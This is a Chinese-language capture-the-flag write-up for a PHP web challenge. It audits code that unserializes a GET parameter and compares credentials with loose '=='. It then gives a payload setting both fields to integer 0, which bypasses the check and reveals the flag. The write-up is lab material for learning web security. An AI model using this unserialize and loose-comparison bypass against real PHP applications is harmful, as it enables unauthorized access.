[HUBUCTF 2022 新生赛]checkin
[HUBUCTF 2022 新生赛]checkin
题目来源:nssctf
题目类型:web
涉及考点:PHP反序列化
前言
昨天玩的有点猛了,忘记写wp了,今天补上两篇
1. 先看题目,给了一串代码,做代码审计
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
涉及反序列化的知识会在后续的博客中详细介绍(待补充href),这里不做赘述
题目要求GET传入一个info,并对info做反序列化,使得反序列化后的数组中,对应的$data_unserialize['username']==$username,$data_unserialize['password']==$password
2. 我们先利用php在线构造出我们需要的数组的序列化字符串
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230728090842_image-20230728165846359.png)
得到结果如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/t_230728090842_image-20230728165856780.png)
于是我们构造payload:
/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230728090842_image-20230728165942528.png)
还是不对
注意到第五行中的注释,说改变了两者的值
3. 结合弱比较再次构造payload
if语句中使用双等号判断,可以想到使用弱比较
字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false
于是猜想username和password改变后开头仍没有数字,那么数组里的值我们直接设置为0:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230728090842_image-20230728170540320.png)
于是构造payload如下:
/?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}
得到flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230728090842_image-20230728170626756.png)
NSSCTF{df71c00d-151b-4fad-b75e-82bc403e7a51}
日期:2023.7.27
作者:y0Zero